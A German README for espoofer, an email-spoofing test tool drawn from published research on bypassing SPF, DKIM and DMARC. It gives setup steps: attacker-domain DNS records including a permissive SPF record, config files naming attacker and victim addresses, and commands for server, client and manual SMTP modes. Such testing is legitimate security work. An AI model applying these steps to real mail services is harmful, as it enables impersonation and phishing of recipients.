
Ein E-Mail-Spoofing-Testwerkzeug, das darauf abzielt, SPF/DKIM/DMARC zu umgehen und DKIM-Signaturen zu fälschen.🍻
espoofer ist ein Open-Source-Testwerkzeug, um die SPF-, DKIM- und DMARC-Authentifizierung in E-Mail-Systemen zu umgehen. Es hilft Mailserver-Administratoren und Penetrationstestern zu überprüfen, ob der Ziel-Mailserver und -Client anfällig für E-Mail-Spoofing-Angriffe sind oder missbraucht werden können, um Spoofing-E-Mails zu senden.
Abbildung 1. Ein Beispiel unserer Spoofing-Angriffe auf Gmail (Behoben, Demovideo)
E-Mail-Spoofing ist eine große Bedrohung für sowohl Einzelpersonen als auch Organisationen (Yahoo-Breach, John Podesta). Um dieses Problem zu adressieren, verwenden moderne E-Mail-Dienste und Websites Authentifizierungsprotokolle – SPF, DKIM und DMARC – um E-Mail-Fälschungen zu verhindern.
Unsere neueste Forschung zeigt, dass die Implementierung dieser Protokolle unter einer Reihe von Sicherheitsproblemen leidet, die ausgenutzt werden können, um SPF-/DKIM-/DMARC-Schutz zu umgehen. Abbildung 1 demonstriert einen unserer Spoofing-Angriffe, um DKIM und DMARC in Gmail zu umgehen. Für weitere technische Details siehe unseren Black Hat USA 2020 Vortrag (mit Präsentationsvideo) oder das USENIX Security 2020 Paper.
In diesem Repository fassen wir alle von uns gefundenen Testfälle zusammen und integrieren sie in dieses Tool, um Administratoren und Sicherheitspraktikern zu helfen, solche Sicherheitsprobleme schnell zu identifizieren und zu lokalisieren.
Latex-Version:
@inproceedings{chen-email,
author = {Jianjun Chen and Vern Paxson and Jian Jiang},
title = {Composition Kills: A Case Study of Email Sender Authentication},
booktitle = {29th {USENIX} Security Symposium ({USENIX} Security 20)},
year = {2020},
isbn = {978-1-939133-17-5},
pages = {2183--2199},
url = {https://www.usenix.org/conference/usenixsecurity20/presentation/chen-jianjun},
publisher = {{USENIX} Association},
month = aug,
}
Word-Version:
Jianjun Chen, Vern Paxson, and Jian Jiang. "Composition kills: A case study of email sender authentication." In 29th USENIX Security Symposium (USENIX Security 20), pp. 2183-2199. 2020.
git clone https://github.com/chenjj/espoofer
sudo pip3 install -r requirements.txt
Python-Version: Python 3 (>=3.7).
espoofer hat drei Arbeitsmodi: Server ('s', Standardmodus), Client ('c') und Manuell ('m'). Im Server-Modus arbeitet espoofer wie ein Mailserver, um die Validierung in empfangenden Diensten zu testen. Im Client-Modus arbeitet espoofer als E-Mail-Client, um die Validierung in sendenden Diensten zu testen. Der Manuelle Modus wird für Debug-Zwecke verwendet.

Abbildung 2. Drei Arten von Angreifern und ihre Arbeitsmodi
Um espoofer im Server-Modus auszuführen, benötigen Sie: 1) eine IP-Adresse (1.2.3.4), bei der der ausgehende Port 25 nicht vom ISP blockiert wird, und 2) eine Domain (attack.com).
attack.com setzenselector._domainkey.attacker.com TXT "v=DKIM1; k=rsa; t=y; p=MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDNjwdrmp/gcbKLaGQfRZk+LJ6XOWuQXkAOa/lI1En4t4sLuWiKiL6hACqMrsKQ8XfgqN76mmx4CHWn2VqVewFh7QTvshGLywWwrAJZdQ4KTlfR/2EwAlrItndijOfr2tpZRgP0nTY6saktkhQdwrk3U0SZmG7U8L9IPj7ZwPKGvQIDAQAB"
attack.com setzenattack.com TXT "v=spf1 ip4:1.2.3.4 +all"
config ={
"attacker_site": b"attack.com", # attack.com
"legitimate_site_address": b"[email protected]", # legitimate.com
"victim_address": b"[email protected]", # [email protected]
"case_id": b"server_a1", # server_a1
}
Sie können die case_id aller Testfälle mit der Option -l auflisten:
python3 espoofer.py -l
python3 espoofer.py
Sie können die case_id in der config.py ändern oder die Option -id in der Befehlszeile verwenden, um verschiedene Fälle zu testen:
python3 espoofer.py -id server_a1
Um espoofer im Client-Modus auszuführen, benötigen Sie ein Konto beim Ziel-E-Mail-Dienst. Dieser Angriff nutzt das Versagen einiger E-Mail-Dienste aus, eine ausreichende Validierung von E-Mails durchzuführen, die von lokalen MUAs empfangen werden. Zum Beispiel versucht [email protected], sich als [email protected] auszugeben.
config ={
"legitimate_site_address": b"[email protected]",
"victim_address": b"[email protected]",
"case_id": b"client_a1",
"client_mode": {
"sending_server": ("smtp.gmail.com", 587), # SMTP-Sende-Server-IP und Port
"username": b"[email protected]", # Ihr Kontobenutzername und Passwort
"password": b"your_password_here",
},
}
Sie können die case_id aller Testfälle mit der Option -l auflisten:
python3 espoofer.py -l
Hinweis:
sending_serversollte die SMTP-Sende-Server-Adresse sein, nicht die Empfangs-Server-Adresse.
python3 espoofer.py -m c
Sie können die case_id in der config.py ändern und erneut ausführen, oder Sie können die Option -id in der Befehlszeile verwenden:
python3 espoofer.py -m c -id client_a1
Hier ist ein Beispiel des manuellen Modus:
python3 espoofer.py -m m -helo attack.com -mfrom <[email protected]> -rcptto <[email protected]> -data raw_msg_here -ip 127.0.0.1 -port 25